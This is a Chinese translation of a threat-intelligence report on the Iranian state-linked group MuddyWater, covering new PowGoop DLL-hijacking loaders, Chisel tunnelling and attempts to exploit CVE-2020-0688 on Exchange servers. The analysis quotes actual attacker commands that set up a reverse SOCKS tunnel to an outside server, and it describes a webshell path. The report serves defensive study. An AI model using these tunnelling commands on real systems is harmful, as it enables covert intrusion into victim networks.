MuddyWater 通常被认为是由伊朗政府支持的攻击者,根据目前最新的分析,美国网络司令部已将此活动归咎于伊朗情报部 (MOIS)。最近,美国网络司令部指出 MuddyWater 使用了多个恶意软件集。其中,PowGoop 与我们在最近事件中分类的活动相关。
分析新 PowGoop 变种
PowGoop 是 Palo Alto 首次发现的恶意软件家族,它利用 DLL 搜索命令劫持(T1574.001)。该名称源自使用“GoogleUpdate.exe”来加载“goopdate.dll”的恶意修改版本,该版本用于从外部文件加载恶意 PowerShell 脚本。
我们发现了涉及重大变化的更新版本的PowGoop加载器,这表明即使在最近的曝光后,该组织仍在继续使用和维护它。这些新变种显示,该攻击组织已经扩大了其用于装载恶意dll的合法软件的武器库。除了“GoogleUpdate.exe”之外,还有三个良性软件被滥用,以辅助加载恶意dll:“Git.exe”、“FileSyncConfig.exe”和“inno_update .exe”。
每个DLL包含一个修改后的DLL和一个重命名的真实DLL。被劫持的DLL包含源自重命名后的对应DLL的导入,以及攻击者编写的两个附加函数。被劫持的dll列表如下:
与以前的版本不同,被劫持的 DLL 尝试反射式加载两个附加文件,一个名为“Core.dat”,它是从导出“DllReg”调用的 shellcode,另一个名为“Dore.dat”,它是一个 PE 文件,带有一个“MZRE”标头,允许它作为 shellcode 执行,类似于从导出“DllRege”调用的公开报告的技术。
这两个' .dat '文件对于每个被劫持的dll都是相同的,并且都是在各自的导出上使用rundll32执行的,这会将文件从磁盘读取到虚拟分配的缓冲区,然后调用读取数据中的偏移量 0。
“Dore.dat”和“Core.dat”搜索名为“config.txt”的文件,并使用PowerShell以类似于旧版本(T1059.001)的方式运行它。这两个组件在功能上的重叠并不清楚;然而,很明显,“Core.dat”代表了 PowGoop 更成熟和进化的版本,因为它作为 shellcode 加载,使其不太可能被静态检测到。
还值得注意的是,两个组件都没有必要驻留在受感染的系统上,因为恶意软件可以通过其中任何一个成功执行。鉴于此,有可能将其中一个或另一个用作备份组件。在撰写本文时,无法检索到“config.txt”中的 PowerShell 有效负载。
新的PowGoop变体的执行流程
MuddyWater隧道活动
MuddyWater活动背后的操作人员非常喜欢隧道工具,该组织使用的自定义工具通常功能有限,用于放弃隧道工具,使操作者能够进行更广泛的活动。MuddyWater的攻击者使用的隧道工具有Chisel、SSF和Ligolo。
隧道活动的性质常常令人困惑,下面是攻击者对一些受害者执行的命令,有助于澄清他们对此类工具的使用情况:
SharpChisel.exe client xx.xx.xx.xx:8080 r:8888:127.0.0.1:9999
在客户端执行中使用的“r”标志意味着服务器在“反向”模式下运行。根据Chisel的文档,
设置 --reverse 标志,“允许客户端在正常远程之外指定反向端口转发远程”。
在这种情况下,“SharpChisel.exe”客户端在受害者设备上运行,通过端口 8080 连接回 Chisel 服务器,并指定将来自服务器端口 8888 的任何内容转发到客户端的端口 9999。
这乍一看可能有点奇怪,因为在Windows设备上通常不使用端口9999,而且没有绑定到任何特定的服务。这是在随后的反向隧道设置一个Chisel SOCKS5服务器受害者,等待传入连接端口9999:
SharpChisel.exe server -p 9999 --socks5
通过在设备上设置Chisel的服务器和客户端实例,操作人员使自己能够通过SOCKS5支持的各种协议。这实际上在隧道内创建了一个隧道。鉴于此,运营商很可能会通过端口 8888 向服务器发起 SOCKS 流量,从而将流量从感兴趣的应用程序传输到网络内部。
Chisel和其他隧道工具的使用有效地使攻击行动者能够连接到目标环境中的设备,就好像它们在运营商 LAN 中一样。
使用 Chisel 进行 MuddyWater 隧道挖掘
攻击利用
在跟踪MuddyWater的活动时,我们发现了一个针对知名组织Exchange服务器的有趣的活动子集。Exchange漏洞利用活动的这个子集相当有趣,因为如果没有上下文,很难将其归因于MuddyWater,因为该活动几乎完全依赖于公开可用的攻击性安全工具。
攻击者试图使用两种不同的工具来利用Exchange服务器:
用于利用CVE-2020-0688 (T1190)的公开脚本;
一个开源的Exchange开发框架;
CVE-2020-0688 漏洞利用
对所观察到的活动的分析表明,MuddyWater攻击组织试图利用CVE-2020-0688攻击中东的政府组织。该漏洞允许通过身份验证的用户执行远程代码。MuddyWater 操作员试图运行的特定漏洞被用来删除 webshell。
使用PowerShell命令将webshell内容写入到特定的路径“/ecp/HybridLogout.aspx”。webshell等待参数“cmd”,并使用XSL脚本处理(T1220)在其中运行命令。
webshell MuddyWater的一个片段试图上传到Exchange服务器
此活动与来自名为 fuckchina_v2.py 的 Github 存储库中的 CVE-2020-0688 漏洞利用脚本高度相关。该脚本利用 CVE-2020-0688 将 ASPX webshell 上传到路径:“/ecp/HybridLogout.aspx” (T1505.003)。它也是唯一可公开获得的 CVE-2020-0688 实现之一,它会删除 Web shell。
CVE-2020-0688 漏洞利用脚本片段
总结
对MuddyWater活动的分析表明,该组织在继续发展和调整他们的技术。尽管该组织仍然依赖于公开可用的攻击性安全工具,但它已经改进了自定义工具集,并利用新技术来避免被发现。这可以通过本报告中观察和分析的三个不同的活动来观察到:PowGoop恶意软件家族的演变、隧道工具的使用以及针对Exchange服务器的攻击。
本文翻译自:https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/如若转载,请注明原文地址